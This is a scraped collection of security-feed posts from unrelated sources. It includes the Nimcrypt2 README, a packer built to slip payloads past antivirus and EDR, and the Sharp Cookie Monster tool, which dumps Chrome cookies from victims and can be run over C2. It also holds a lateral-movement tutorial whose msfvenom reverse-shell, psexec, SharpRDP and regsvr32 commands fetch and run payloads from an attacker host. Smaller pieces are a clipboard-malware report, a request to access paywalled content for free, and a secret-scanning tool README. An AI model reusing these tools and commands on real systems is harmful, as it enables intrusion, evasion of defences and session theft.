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Nimcrypt2 - .NET, PE, And Raw Shellcode Packer/Loader Written In Nim

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiys8OACKfgsKDYuW4hT-_z5NTOO8ekXeyUFxQTWxoYBek7r30sH8IyKMdq7hmzWcM9ydEFvzQaVXo3HjVq6cWm62EWEpdVSZvJLGNusxMmqzW0LV4wj3yLtNO3NbZFDQP0zdhZdmurNBOvH7u51gsjrXuane1J9gqVhnBTHTV1TgiYoKCQ69WAC-Vl/w640-h256/nimcrypt.gif Nimcrypt2 is yet another PE packer/loader designed to bypass AV/EDR. It is an improvement on my original Nimcrypt project, with the main improvements being the use of direct syscalls and the ability to load regular PE files as well as raw shellcode.

Before going any further, I must acknowledge those who did the VAST majority of work and research that this project depends on. Firstly, I must thank @byt3bl33d3r for his Offensive Nim repo, and @ShitSecure for all of the code snippets he's publicly released. That is what the original version of this tool was created from, and the current version is no different. Particularly, the new PE loading functionality used in this tool is just an implementation of ShitSecure's recently released Nim-RunPE code. I highly encourage sponsoring him for access to his own Nim PE Packer, which is no doubt a much better and more featureful version of this.
Additionally, I would like to thank @ajpc500 for his NimlineWhispers2 project that this tool uses for direct syscalls. I cannot stress enough how this project is simply an amalgamation of the public work of those previously mentioned, so all credit must go to them.
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Nimcrypt v 2.0

Usage:
nimcrypt -f file_to_load -t csharp/raw/pe [-o ] [-p -n --no-randomization Disable syscall name randomization
-s --no-sandbox Disable sandbox checks Features:* NtQueueApcThread Shellcode Execution w/ PPID Spoofing & 3rd Party DLL Blocking
* Syscall Name Randomization
* Ability to load .NET and Regular PE Files
* AES Encryption with Dynamic Key Generation
* Sandbox Evasion Tested and Confirmed Working on:* Windows 11 (10.0.22000)
* Windows 10 21H2 (10.0.19044)
* Windows 10 21H1 (10.0.19043)
* Windows 10 20H2 (10.0.19042)
* Windows 10 19H2 (10.0.18363)
* Windows Server 2019 (10.0.17763) Installation/Dependencies:Nimcrypt2 is designed to[...]

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be used on Linux systems with Nim installed. Before installing Nim, you must ensure that you have the following packages installed via your package manager: sudo apt install gcc mingw-w64 xz-utils git To install Nim, I prefer to use choosenim as follows:

> ~/.bashrc export PATH=$HOME/.nimble/bin:$PATH">curl https://nim-lang.org/choosenim/init.sh -sSf | sh
echo "export PATH=$HOME/.nimble/bin:$PATH" >> ~/.bashrc
export PATH=$HOME/.nimble/bin:$PATH

Nimcrypt2 also depends on a few packages that can be installed via Nimble. This can be done like so: nimble install winim nimcrypto docopt ptr_math With all the dependencies now installed, Nimcrypt2 can be compiled like so: nim c -d=release --cc:gcc --embedsrc=on --hints=on --app=console --cpu=amd64 --out=nimcrypt nimcrypt.nim Known Bugs:* As described by ShitSecure, if the release version of mimikatz is loaded via the PE loader, it will not accept commands for some unknown reason. Using a version of mimikatz that was compiled from source fixes this issue. Greetz & Credit:* @byt3bl33d3r for their Offensive Nim project: https://github.com/byt3bl33d3r/OffensiveNim
* @ShitSecure for their Nim-RunPE project: https://github.com/S3cur3Th1sSh1t/Nim-RunPE
* @ajpc500 for their NimlineWhispers2 project: https://github.com/ajpc500/NimlineWhispers2
* @Snovvcrash for their NimHollow project: https://github.com/snovvcrash/NimHollow Download Nimcrypt2

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https://b.thumbs.redditmedia.com/78FKnn5NPqQ4ZgC-o38RBq_Lz9sSKtnkC3Uwql3QrmM.jpg ​

https://preview.redd.it/xcah8ixmywp81.jpg?width=539&format=pjpg&auto=webp&s=7f10b6b30c1663a1f0b61a42b12f7a01533f1d07

submitted by /u/Weird_Molasses_1095
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hacking: security in practice
Clipboard malware on my computer

Apparently, there was some malware on my Windows 10 pc that changes any bitcoin address to this one:

"bc1qn0r06gtwlamffet49fph9jnm9u2e2ylx5ns7qc".

I sold a Google Play card on a legit website for bitcoin and didn't even notice that i put the wrong address. I was confused as it said that the transaction was complete and there were no bitcoins on my electrum wallet (this is my first bitcoin transaction btw). After some time of being confused i realised that the address is wrong and then i tried coping the right one and it was pasting the one noted above! I was still confused, thought at first that the c on the keyboard doesn't function properly or that windows automaticaly doesn't copy as it thinks it's the same text or smth. But then i realised that this may is a malware... I googled about it and there exist malware like this one... Then googled about the address and it has a complete history of transactions and others have reported it for scamming and issues like this one.

Funny thing is that i don't even know how long i had this malware on my computer and was focused on not getting scammed selling my gift card haha. Thankfully, the amound was only 25$ but im still surprised.

I am now scanning my computer to find the malware, it might take some hours, and then will try to analyze it. I don't think any other password is hacked as i don't believe there is data being send from it but you never know... After this i am ofcourse removing windows from my computer forever and changing every single password i have.

submitted by /u/JuicyNatural
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hacking: security in practice
Is there a way to browse content for free from apps like pixiv fanbox or patreon?

actually kemeno. the party does these things but not all the artists are there and e hentai doesn't open either

submitted by /u/Weird_Molasses_1095
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Hacking Articles|Raj Chandel's Blog
Lateral Movement: Remote Services (Mitre:T1021)

IntroductionDuring Red Team assessments, after a compromise has been done, attackers tend to laterally move through the network gaining more relevant information on other systems. This lateral movement is possible through the use of many binaries/services/processes. In this article we will be solely focusing on Lateral Movement using Remote Services, i.e., services that can help in code/command execution on remote systems by taking in valid set of credentials. Oftentimes, same set of credentials are used within organization and this type of lateral movement becomes very easy and effective.T1021.001, T1021.002, T1021.003, T1021.004, T1021.005, T1021.006)Table of content· Background· Understanding Attack Lab· Lateral Movement through RDP (T1021.001)· RDP Hijacking using Task Manager· RDP Hijacking using Tscon· RDP Hijacking using Mimikatz· SharpRDP Authenticated Code Execution· Lateral Movement through SMB (T1021.002)· PsExec SMB RCE· Sc.exe process creation· Metasploit SMB Remote PsExec· Cmd.exe SMB RCE· SharpMove.exe SMB RCE· Lateral Movement through DCOM (T1021.003)· Mmc20.application remote DCOM· Lateral Movement through SSH (T1021.004)· SSH Port Forwarding· Lateral Movement through VNC (T1021.005)· VNCinject payload· Lateral Movement through WinRM (T1021.006)· New-PSSession Powershell· Invoke-Command Powershell· Winrs· Evil-Winrm· Lateral Movement through Mimikatz· Lateral Movement through WMI· Lateral Movement through Invoke-WmiMethod· ConclusionLateral movement is very helpful in gathering more data by compromising more systems rather than relying on just a single system to gain higher privileges and eventually compromise entire network.Understanding Attack LabFor the article I have two setups in hand. One is an Active Directory setup with the domain “ignite.local” and the other is simple 2 windows devices connected on bridged with a Kali system in a non-domain environment. The details are as follows:Lateral Movement through RDP (T1021.001)According to Microsoft, RDP is based on, and is an extension of, the T-120 family of protocol standards. [...]

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A multichannel capable protocol allows for separate virtual channels for carrying the following information:RDP Hijacking using Task ManagerWhen you connect to a user “Administrator” and open task manager-> go to users-> you’d see this if a user “hex” is signed out currently but exists.RDP Hijacking using Tscontscon is a Microsoft Windows utility that was introduced the release of Windows Server 2012. It is used to connect to another session on a Remote Desktop Session Host server. It requires the destination and the session id to work. The User credentials can also be passed as parameter in tscon. Read more about it here.whoami tscon 3 /DEST:rdp-tcp#9https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR326WYaKMMD0mTHM4wdWejoNGaDT05rM3T8J2rSzJgpwuI7mqL-UI1jHe7AOg643hyK2bB9ieuGEpx92_RSu849B-T90AEh6upm6XkYMXhPlf-WIMeQtg3wUrN5AVyA6KJ-axFr_Ix4KG5jM5HXQIJ2dNtB2eMANxO0j98C7S-tki05FEo-3L0gehQw/s16000/5.png It will immediately open a new user “hex” in the same Remote Desktop Connection! This can be verified by whoamiRDP Hijacking using MimikatzMimikatz includes a module “ts” to play with RDP sessions. It is an implementation of tscon only with added features of mimikatz. We can see active user sessions usingts::sessionshttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXUsKIuox50VQD0kpqSvOqqw0zP1zEp2mFxHtH1p_GizC0Q-bFTR_9kpn9kdaYY_ZmkPEf2F_j7v4RisWVsocc6oqpXsFKkcNfK3H3sNBoc6iVs7MtB6Z8yCGAZ8uFvrl4rIEiBsCdTnOIrAsA9GYqsWBVU-AEeaGuYwBwO4eX5ADaddiSO_UsyGh-Tw/s16[...]

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000/7.png We have a disconnected user hex on session ID 3. Let’s connect to it. What we did using psexec, mimikatz does it automatically by using token impersonation to elevate privileges.privilege::debughttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4JX5G2XMtXbPPgEt7WW9un2I5tQ2hZwtX6YxXhk20HDIptBpKPMMlIOCci4XHxo4aoE_F_PhF48e0f58jU0bcOSidHC1qg8EvaGuouO55qq1mPYDNrRH-n_6yH6PnyUJhHH4XdHKYyfXnCZUlxi5rZ6lJEkQtakQAbexMM7HMk1mkj7RPLlLacgzt8w/s16000/8.png And then you’d be presented with user “hex’s” remote desktop!SharpRDP Authenticated Command Execution0xthirteen developed the SharpRDP tool which provides various methods and techniques for authenticated command execution using RDP as a service. This method won’t include hijacking over remote sessions, rather, using logon information to provide code execution. It does so this by utilising COM library and mstscax.dll. Read more here.msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggHg_X5dOHz3Hkk3bYo_sMTyXVHhRVHlnJnmpqcdtBqODAAaVXsQHTsKH-tQ7p5h4lLx5Vxe92QE7u_9PMHqTWm3VXIDT_dZygPUeFOeGtsyk0H3BLXNOBL1be-5kR2_6TXOrNWLvcFnl-EuMRaBuBop-NzRQ4k5iFhRUxU-stybBI69zMkJ5I6JjG9Q/s16000/9.png Next, we will host this file in our SMB share. We can set up a share manually or use Impacket’s smbserver to set up a temporary share with the name “sharename”smbserver.py sharename /roothttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9bh_H1wrY8lbGBSQlWoJhmGqfSiWinQDehTPaidsqrJOkuyKFUR1qtU75SX46Cr1Y-2q8f11oDqc7FZoaD7F3gf61uT05M7542XN38NwV7aF4rNWfd7O10Kxvu73Un7a1rx70ljvnUxkrwVQBSoaNnk9dLVEMYcNFuwx2ELwjbf_3eGcihqPgx_yIQ/s16000/10.png Now, using the credentials available to us of a remote user Administrator, we can use SharpRDP to execute this EXE file by providing in the UNC Path belowSharpRDP.exe computername=DESKTOP-9GSGK09 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe username=Administrator password=123https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf49V7jMLReod22fWKQ8vsDNG2Lj4TQFCqYAAFFN-JFwN3Avd3E-MRePegVtOFx84Vn4Qi5tZWAJ38d4-gQM2p9-RSFd2CdQXjaXTcEUM6y3XAUcuN66yw_AGgwllvl5PQ4svnbNO2RRhxWymZB5otyMGf52_vTJQ-LVl_QG0HQ7wmtAp5Q90CyNoRbQ/s16000/11.png As you can see, the remote server hit our SMB Server and fetched the fileLateral Movement through SMB (T1021.002)SMB is one of the most widely used network protocol that allows users communicate with remote systems across a network. Generally, it is used for sharing files, printers but by utilising writeable shares, it can be used to conduct command execution, and eventually lateral movement. PsExec SMB RCEMany tools like psexec utilise SMB to conduct authenticated command execution. According to Microsoft, “PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems.” First, let’s use impacket’s smbserve[...]

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r to create a local SMB share that will host our malicious file. This file will eventually be written on remote systems and executed to gain movement.smbserver.py sharename /roothttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTTSqg15bXzN38wDkE-5LIjGbkGTX7uLFI1YkUY_qrKr6FT1-x6NBd3vte1rCXPf97uPje18Z6dnmV93L5iqxIWeE7PATbuuxxQ66aoDV2JJNvErk13QtV26_C_Dxm98mfJxKnb5pBK1KCXFgreu4UG3CM5vXWKmJtCfgLx1XS5S36lZZk-458Rw2Ufw/s16000/15.png Thereafter, we will now create a malicious file using msfvenommsfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoEybnTFs0zgFlm6dIHN-MiHo2NSj7RZBwIUNYPM4didelZ8JZ1avkfmBhnxSwbvoGfcsNz23oY4TWGBam5sfKQI3grbwz1KGXYHBco00T6MtmBJmFWTGT-bdZJeCah_GsT9CqXq2NMUo7XNhFfYUl5Bda02eWgdj5kye8wZ4HvLZsOrNmU9YKQR_oHQ/s16000/16.png Now, we will use the compromised system and upload psexec64.exe in it. Then, we will use the following command to launch our malicious file in the host specified.psexec64.exe \\DESKTOP-9GSGK09 -u hex -p 123 cmd.exe /c \\192.168.0.89\sharename\shell.exehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgakf4I9DoJkuGi_WnH76nxMfDzb9B7js8XXBgukLBIAGCjW9XtP6YfJ9zaUo3UFVghONQtUTiutfMIJOxcxJdDZjq6deQzxAQTppqqMa59uEADJVfBI6IhYDzajEYNosz--yW3EM6EnEk9OG8HrNsf9s41V1H2tSLmwWVx8FziQEpX97FutHad09_lyA/s16000/17.png As you can see, hex has reached our smb share and fetched the fileSc.exe process creationsc.exe is a command-line tool which comes bundled with Windows and offers the functionality to maintain and administer Windows NT services. This is a non-essential system process, however it can be used to create processes and execute DLLs in them. Here, we will create a process “ignite” and use regsvr method to define the executing DLL within that process.use exploit/multi/script/web_deliveryhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwx0Fj0Scnu-7dVKa_korORxjkyG2IEyE_TpwU-j3YHyHLCmUJl0LTlTJ74E1sJLeH2GUhoddNdR0dXQ8-nG7BgPcBSWCPAvgApPqGH_auMqe1OG6DLwI1s173PD7fOfBroLML1LBgA85eUWle8TuPaKSwVc0D6uMoXYYdKdz38_e9BvjWmNFXFwUw_w/s16000/20.png Now, the regsvr code that we obtained can be included within the sc.exe binpath command. The following command creates a process ignite with the above code in it. It then starts the same. Please note that “DESKTOP-9GSGKO9” is the destination windows system, where the code is to be executed.sc \\DESKTOP-9GSGKO9 create ignite binpath= "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/nGU8JQ0b9OjF.sct scrobj.dll"https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZW8puxBbpVODwXt0z4gIJZoiGZdnJxd_3WV4ucEnvGdrRY40en5yfGXCJ2CMIKpjfKkjxbCHJMw8ouN_MtKOxexpYBVZTY5L376clTIv4ykn397y2UqqyVii2m0XVEGYPenhUDoLC1-IZbAnXezRTmNrmd8YojNgV2-EYv8_3Y4rkvV1jH9hrXZsDIw/s16000/21.png As you can see, a service start failed error has been obtained but that is because the DLL we provided isn’t a valid one. It would still execute our DLL and give us a reverse shell! Here, we had the Admin authority ove[...]

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Hacking Articles|Raj Chandel's Blog
Lateral Movement: Remote Services (Mitre:T1021)

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VulnHub Walkthrough’s : BOX 1

Vulnhub Walkthrough — Basic Pentesting 1 BoxContinue reading on Medium »
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VulnHub Walkthrough’s : BOX 1
https://medium.com/@adeesh08/vulnhub-walkthroughs-box-1-7b633b898a1f?source=rss------bug_bounty-5

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Vulnhub Walkthrough — Basic Pentesting 1 BoxContinue reading on Medium » (https://medium.com/@adeesh08/vulnhub-walkthroughs-box-1-7b633b898a1f?source=rss------bug_bounty-5)

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Solution to my $20 egg hunt (Part 3)

My latest article gave a significant hint towards solving the $20 challenge. This one will help you a few steps further…Continue reading on Medium »
Read more...

Kali Linux Tutorials
Sharp Cookie Monster : Extracts Cookies From Chrome

Sharp Cookie Monster is a Sharp port of @defaultnamehere’s cookie-crimes module – full credit for their awesome work!

This C# project will dump cookies for all sites, even those with http Only/secure/session flags.

Usage

Simply run the binary.

SharpCookieMonster.exe [https://sitename.com] [chrome-debugging-port] [user data dir]

An optional first argument sepcifies the site that chrome will initially connect to when launched (default https://www.google.com).

An optional second argument specifies the port to launch the chrome debugger on (by default 9142).

Finally, an optional third argument specifies the path to the user data directory, which can be overridden in order to access different profiles etc (default %APPDATALOCAL%\Google\Chrome\User Data).

Building

The binary has been built to be compatible with .NET 3.5 in order to be compatible with victims with older versions of .NET installed. However in order to use WebSockets to communicate with Chrome the WebSocket4Net package was added.

If you want to run this down C2 such as using PoshC2’s sharpcookiemonstercommand or via CobaltStrike’s execute-assemblythen use ILMerge to merge the built executable with the WebSocket4Net.dll library.

First rename the original binary then run:

ILMerge.exe /targetplatform:”v2,C:\Windows\Microsoft.NET\Framework\v2.0.50727″ /out:SharpCookieMonster.exe SharpCookieMonsterOriginal.exe WebSocket4Net.dll
Download

Kali Linux Tutorials
Talisman : By Hooking Talisman Validates The Outgoing Changeset For Things That Look Suspicious

Talisman is a tool that installs a hook to your repository to ensure that potential secrets or sensitive information do not leave the developer’s workstation.

It validates the outgoing changeset for things that look suspicious – such as potential SSH keys, authorization tokens, private keys etc. InstallationTalisman supports MAC OSX, Linux and Windows.

Talisman can be installed and used in one of the following ways:

* As a git hook as a global git hook template and a CLI utility (for git repo scanning)
* As a git hook into a single git repository

Talisman can be set up as either a pre-commit or pre-push hook on the git repositories.

Find the instructions below.

Disclaimer: Secrets creeping in via a forced push in a git repository cannot be detected by Talisman. A forced push is believed to be notorious in its own ways, and we suggest git repository admins to apply appropriate measures to authorize such activities. [Recommended approach]Installation as a global hook templateWe recommend installing Talisman as a pre-commit git hook template, as that will cause Talisman to be present, not only in your existing git repositories, but also in any new repository that you ‘init’ or ‘clone’.

* Run the following command on your terminal, to download and install the binary at $HOME/.talisman/bin

As a pre-commit hook:

curl –silent https://raw.githubusercontent.com/thoughtworks/talisman/master/global_install_scripts/install.bash > /tmp/install_talisman.bash && /bin/bash /tmp/install_talisman.bash

OR

As a pre-push hook:

curl –silent https://raw.githubusercontent.com/thoughtworks/talisman/master/global_install_scripts/install.bash > /tmp/install_talisman.bash && /bin/bash /tmp/install_talisman.bash pre-push

* If you do not have TALISMAN_HOME set up in your $PATH, you will be asked an appropriate place to set it up. Choose the option number where you set the profile source on your machine.

Remember to execute source on the path file or restart your terminal. If you choose to set the $PATHlater, please export TALISMAN_HOME=$HOME/.talisman/bin to the path.

* Choose a base directory where Talisman should scan for all git repositories, and setup a git hook (pre-commit or pre-push, as chosen in step 1) as a symlink. This script will not clobber pre-existing hooks. If you have existing hooks, look for ways to chain Talisman into them.

* you can set SEARCH_ROOT environment variable with the path of the base directory before executing the installation so you don’t need to input it manually during the installation Handling existing hooksInstallation of Talisman globally does not clobber pre-existing hooks on repositories.
If the installation script finds any existing hooks, it will only indicate so on the console.
To achieve running multiple hooks we suggest (but not limited to) the following two tools

* Pre-commit (Linux/Unix)

Use pre-commit tool to manage all the existing hooks along with Talisman. In the suggestion, it will prompt the following code to be included in .pre-commit-config.yaml

repo: local
hooks:
id: talisman-precommit
name: talisman
entry: bash -c ‘if [ -n “${TALISMAN_HOME:-}” ]; then ${TALISMAN_HOME}/talisman_hook_script pre-commit; else echo “TALISMAN does not exist. Consider installing from https://github.com/thoughtworks/talisman . If you already have talisman installed, please ensure TALISMAN_HOME variable is set to where talisman_hook_script resides, for example, TALISMAN_HOME=${HOME}/.talisman/bin”; fi’
language: system
pass_filenames: false
types: [text]
verbose: true

* Husky (Linux/Unix/Windows)

husky is an npm module for managing git hooks. In order to use husky, make sure you have already set TALISMAN_HOME to $PATH.

* Existing Users

If you already a[...]